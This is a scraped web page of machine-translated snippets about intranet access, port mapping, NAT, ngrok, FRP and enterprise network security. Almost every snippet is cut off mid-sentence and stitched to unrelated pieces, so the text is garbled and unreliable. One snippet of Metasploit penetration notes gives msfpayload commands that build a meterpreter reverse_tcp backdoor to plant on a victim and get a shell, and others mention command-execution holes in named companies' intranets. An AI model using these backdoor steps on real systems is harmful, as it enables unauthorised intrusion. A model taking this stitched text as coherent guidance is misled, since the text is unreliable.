Reprinted from: http://www.juuluu.org/html/softDoc/2011/10/19/09/45/wtpnkjxlwt.html
The following are the implementation Notes for an Rmi project:
Environment: Firewall (XX guardian) Internet IP Address: x. x. x.135 port: 8400/8500 Intranet IP Address: x. x. x.90 port: 8400/8500
The Intranet and Internet IP addresses and ports are mapped to each other. (the Internet IP addresses are configured on the fire
Some time ago I made another communication software in Java-shanzhai zookeeper. Generally, this simple chat software is called a LAN chat tool, so can it implement Internet access to the Intranet for communication? This problem has been lingering for a long time in my mind.
In the past, two simple clients used to communicate directly without passing through the server. Therefore, it is really hard to think about how to access machines in the other
---restore content starts---In the public network environment, to realize the remote access by domain name housekeeper management software, server or store video surveillance, etc., can be used dynamic domain name resolution software. But now IPV4 resources exhausted, the Great Wall broadband and other broadband operators to the user assigned to the network IP address. How does the intranet support it?Home network belongs to the
Modern office, each enterprise will establish its own internal LAN, and set up a server to store and share the day-to-day work of the various types of data required, many employees will also share some of their own computer data, so that other users of the local area network access and use, this way is to save data delivery time, Improve the efficiency of everyone, it can be said, very convenient. However, the resulting information security, network security issues are gradually exposed, we have
The Oracle database is one of the most applied databases. General Project Application. Deploying Oracle in the Intranet, intranet calls, and operations can only be done on the intranet.Suppose the Oracle host or local area network does not have a fixed public IP and wants to access Oracle on the outside network. It is necessary to solve the problem of dynamic IP or no public network IP. Corresponding applic
Metasploit penetration test notes (intranet penetration)0x01 reverse the shellFile
Generally, msfpayloadis used to generate a backdoor.exe file and upload it to the target machine for execution. You can obtain the meterpreter shell by using a local listener.
reverse_tcp/http/https => exe => victim => shell
Reverse_tcp
Windows:
msfpayload windows/meterpreter/reverse_tcp LHOST=
Linux (x86)
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=
Reverse_h
Enterprise Intranet security status quo and problems
In modern enterprise informatization construction, the network architecture and scale will be constantly changing according to the enterprise's own business needs. At the same time as the completion of the basic network architecture, various application systems have also begun to be built. The network architecture and application systems are inseparable. When a project involving the entire enterpris
A vulnerability can cause direct letv Intranet attacks
Improper configuration direct execution of commands can endanger the entire intranet system. Because the IP address of this vulnerability is not bound to a domain name, that is, not * .letv.com, the public test is about domain names, sobug does not recognize this vulnerability because it does not contain domain names. Do you think this kind of hole sho
access the Internet.DNAT is used to come in from outsideSNAT eg:Iptables-t nat-I POSTROUTING-s 10.1.0.0/24-j SNAT -- to-source 192.168.0.5Map Intranet 10.1 fields to 192.168.0.5You can also do this:Iptables-t nat-I POSTROUTING-s 10.1.0.0/24-j SNAT -- to-source 192.168.0.5-192.168.0.245Map a local IP address to an IP address (attack can be performed ^)The same function in the preceding example: iptables-t nat-I POSTROUTING-s 10.1.0.0/24-j NETMAP -- to
In windows, use openvpn in linux to log on to the Intranet of the remote server, and use linuxopenvpn.
Requirement: in some environments with strict network requirements, we are unable to remotely access the company's Intranet in a remote location, which brings us great inconvenience. However, we can achieve it easily through openvpn, next we will introduce it.
Note: This experiment is performed when the fi
The following is my personal experience. If you make a mistake, please point it out .! Original Author: smiling assassin Www.OneTian.com
Intranet FTP setup-two FTP transmission modes
First, let's talk about the environment. The server is in the Intranet, and the external ing is, 85. There are 7 ports in total ,.!Among them, 21 is the FTPServer connection end, 80 is the IIS Web occupation, and 85 is the Ter
I encountered a little trouble in creating projects for mobile companies,
The Intranet and Internet of mobile devices are isolated. The Intranet can access the Internet, but the Internet cannot access the Intranet.
Our project (BS architecture) is mainly deployed on the Intranet, but some features of the project also
The company does not have fixed IP, need to test the third party asynchronous callback interface (third party server How to find the company intranet machine); Baidu Search for "intranet penetration" results are mostly peanut shells, but this article is sharing the free intranet penetration, the use of FRP tools. The text is CentOS7.4 as the FRP server end, Win7
Many companies or businesses put their Web servers in the intranet and map them on the firewall, turning requests from port 80 to a Web port on the intranet Web server.
This security is improved a lot, but does not mean that the Web server hidden in the intranet must be safe, because the Web server itself is still a lot of problems, especially some CG, programs,
One: Software solutionsSoftware:Https://ngrok.com/downloadNgrok-stable-windows-amd64.zipUse:CMD---CD: Switch to the software catalogNgrok.exeIn the pop-up box, enter: Ngrok HTTP 80 (80 or other port number, depending on the situation)Two: Cisco routes do the mappingSteps are as follows
Login Cisco
En, config
View Configuration Show Run
Fixed IP:IP nat inside source static TCP 10.10.1.253 8080 101.81.232.101 8080
Dynamic IP: Access to
In the development, sometimes we need to send remotely, or through 3G and 4G, or other WiFi environment to send a small amount of data, and do not want to spend so much cost to develop a cloud server, this time the emergence of a router to expose an intranet IP for external network access. In fact, the implementation name of this method is called port mapping .
Next we implement this way ready you want to expose the
A sogou Intranet has Struts2 command execution (discuz! Application Instance)
A sogou Intranet has Struts2 command execution (discuz! Application Instance)Detailed description:
Http://bizhi.sogou.com/bbs/ is discuz! Vulnerability.Multiple SSRF vulnerabilities exist, allowing you to bypass the boundaries and create an Intranet vulnerability.First, crack the subd
Enterprise IntranetFor the risks faced by an enterprise's network security and to fully assess the risks that these risks may bring, they will be the primary problems that must be addressed during the implementation of security construction and the basis and basis for formulating security policies. So what security risks do enterprises have? What value can Enterprise Intranet security products bring to enterprises? Huang Kai, R D Director of Yixin te
Intranet security behavior auditing can find a lot of Intranet security "moles", but there is always a debate in China regarding whether "behavior auditing infringes on personal privacy.
From the perspective of enterprises, deployment Behavior Monitoring and behavior audit products are understandable, which is an important step for enterprise compliance. For example, archive and auditor of a mail are all n
With the rapid development of e-commerce and distance learning, more and more functional requirements for Intranet networks are required. The faster the speed, the higher the security performance. The two main causes of network bottlenecks are network bandwidth and firewall (proxy server) bandwidth. To solve these two problems, an economical and feasible solution is to adopt exchange technology.
Network switching improves the performance of exchange d
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